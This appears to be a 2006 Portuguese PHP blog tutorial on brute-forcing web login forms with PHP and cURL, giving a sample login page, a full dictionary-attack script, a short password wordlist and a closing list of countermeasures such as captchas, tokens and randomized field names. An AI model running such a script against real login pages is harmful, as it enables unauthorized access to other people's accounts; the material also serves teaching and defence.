Conheça a ferramenta de busca - Busca PHP. Ela faz uma pesquisa nos sites mais importantes sobre a linguagem, e trará pra você resultados exepcionais!! Estamos customizando o serviço ainda, que você pode conferir no menu a direita....
 

Pesquisar

Login






Esqueceu sua senha?
Hacking / Cracking de formulários de autenticação com PHP e CURL Imprimir
Por Ricardo Maia   
06 de julho de 2006

Este artigo tentará demonstrar como são feitos alguns programas para ataques de formulários de autenticação utilizando dicionário ou força bruta.

Como era de se esperar o código desse aplicativo foi escrito em PHP e utilizou a extensão CURL (disponível a partir do PHP 4.02)

 

Introdução 

Basicamente o script necessita de uma url, dos nomes dos campos de usuário e senha presentes no formulário de autenticação e da mensagem que é exibida na página quando a autenticação falha.

url - servirá, claro, para que o script encontre a página que deverá ser atacada;

nomes dos campos - necessário para que o programa preencha automaticamente os pares usuário e senha a partir de um dicionário de usuários e senhas respectivamente.

mensagem de erro de autenticação - esta informação se presta para o seguinte propósito. A idéia é que quando o programa testar uma combinação usuário e senha e a mensagem de erro estiver no corpo da página, claro, a combinação é inválida! Mas se por outro lado esta mensagem não estiver lá... estão significa a que acertamos

Página da Vítima 

Primeiro vamos dar uma olhada na página da "vítima", que no exemplo, encontra-se no endereço:

http://www.exemplo.com.br/login.php 

O código desta página poderia ser algo como:

<html>
<head>
<title></title>
<style>
body{
    font-family:sans-serif;
    font-size:12px;
    font-weight:bold;
}<
input{
    border-style:solid;
    border-color:#C0C0C0;
    border-width:1px;
}
</style>
</head>
<body>
    <form method="POST" action="">
        Usuario:<br>
        <input type="text" name="usuario"><br>
        Senha:<br>
        <input type="password" name="senha"><br>
        <input type="submit" value="Login">
    </form>
    <?php
        if(isset($_POST['usuario']) AND $_POST['usuario'] != ""){
            if($_POST['usuario']=="admin" AND $_POST['senha'] == "teste"){
                echo "Login efetuado com sucesso!";
            }else{
                echo "Usuario ou senha incorretos!";
            }
        }
   
    ?>
</body>
</html>
 

Bastante simples e didático, mas os mesmos princípios de exibição de mensagem de erro e campos do tipo input para coletar as informações de autenticação estão presentes em diversas aplicações reais.

 Agoara vamos para a próxima fase... o script que irá atacar o formulário!

Código do Cracker 

 
<?php
 
$dic_usuario = "dic_users.txt";
$dic_senha = "dic_passwd.txt";
$url_vitima = "http://www.exemplo.com.br/login.php";
$nome_campo_usuario = "usuario";
$nome_campo_senha = "senha";
$palavra_erro_autenticacao = "incorretos";
$crackeado = FALSE;
 
$fhu = fopen ($dic_usuario, "r" );
$fhs = fopen ($dic_senha, "r" );
 
while ( $usuario = fgets ( $fhu, 1024 ) ) {
 
 
 
 
while ( $senha = fgets ( $fhs, 1024 ) ) {
 
 
 
$crack_form = curl_init();
 
curl_setopt ( $crack_form, CURLOPT_URL, $url_vitima );
 
curl_setopt ( $crack_form, CURLOPT_POST, TRUE );
 
curl_setopt ( $crack_form, CURLOPT_POSTFIELDS, 
$nome_campo_usuario."=".usuario."&".$nome_campo_senha."=".
$senha."&submit=Login" );
 
curl_setopt ( $crack_form, CURLOPT_RETURNTRANSFER, TRUE );
 
 
 
 
 
$conteudo_pagina = curl_exec ( $crack_form );
 
$resultado = eregi ( $palavra_erro_autenticacao, 
$conteudo_pagina );
 
 
 
if ( $resultado == FALSE ) {
 
echo "<br><center>usuario: 
<b>$usuario</b> e a senha: <b>$senha</b>/center>";
 
$crackeado = TRUE;
 
break;
 
 
 
}
 
 
 
}
 
 
 
rewind( $fhs );
 
 
 
}
 
if($crackeado == FALSE){
 
echo "<center>Nao foi possivel encontrar a combinhacao 
usuario / senha.</center>";
}
 
curl_close($crack_form);
fclose ( $fhu );
fclose ( $fhs );
 
?>
 

Como pode ser visto, no início deste script,foram utilizados dois arquivos para testar os possíveis nomes de usuário e senha. O formato deles é bem simples e é composto por uma lista de palavras, uma em cada linha, como no exemplo abaixo:

dic_passwd.txt

flamengo
vasco
deus
amor
sexo
1234
12345
123456
123789
321456
321789
321654
321987
teste
 

Você mesmo pode criar sua lista de palavras. O mesmo formato de arquivo serve para nomes de usuário.

Contramedidas para ataques de força bruta / dicionário. 

Para não deixar  ponto sem nó eu sugiro algumas medidas para evitar este tipo de ataque aos formulários de autenticação.

Captcha - aquelas imagens de segurança com números e/ou letras sobre um fundo aleatório. Tem um outro artigo neste site sobre este assunto. 

2º O captcha pode ser atacado por reconhecimento óptico de caracteres - OCR portanto, uma outra boa media é criar chaves sincronizadoras (token) de modo que mesmo que seja feito o reconhecimento de caracteres, que deve demorar alguns segundos, o formulário já não estaria mais válido!

Randomizar os nomes de campos de formulário. A base deste ataque está em saber quais são os nomes dos campos de usuário e senha que a aplicação deve preencher automaticamente. Se estes campos tiverem nomes aleatórios que sejam traduzidos somente no lado servidor, estaríamos dificultando este ataque!! Ainda assim seria possível construir um script que se baseie na ordem dos campos input, no comprimento, no tipo do input (text ou passowrd) etc. Mas a idéia é dificultar!

Teclado Virtual - Além de dificultar a captura de senhas por keyloggers e afins os teclados virtuais podem dificultar ainda mais os ataques automatizados. 

Um grande abraço a todos! E que tenhamos formulários mais seguros de hoje em diante!

O próprio Joomla, CMS utilizado neste site, está vulnerável a este tipo de ataque! Estou confiando que os usários que leram este artigos não irão fazer besteira por aí (loucura!). Ah! Confio também nos backups diários do meu provedor de hospedagem realiza. Portanto nada de gracinha!




Gostou do artigo? Então compartilhe!
Digg!Reddit!Del.icio.us!Google!Technorati!StumbleUpon!Add this social bookmarking functionality to your website! title=
Última Atualização ( 31 de agosto de 2007 )
 

Itens Relacionados





Add to Technorati Favorites

Feed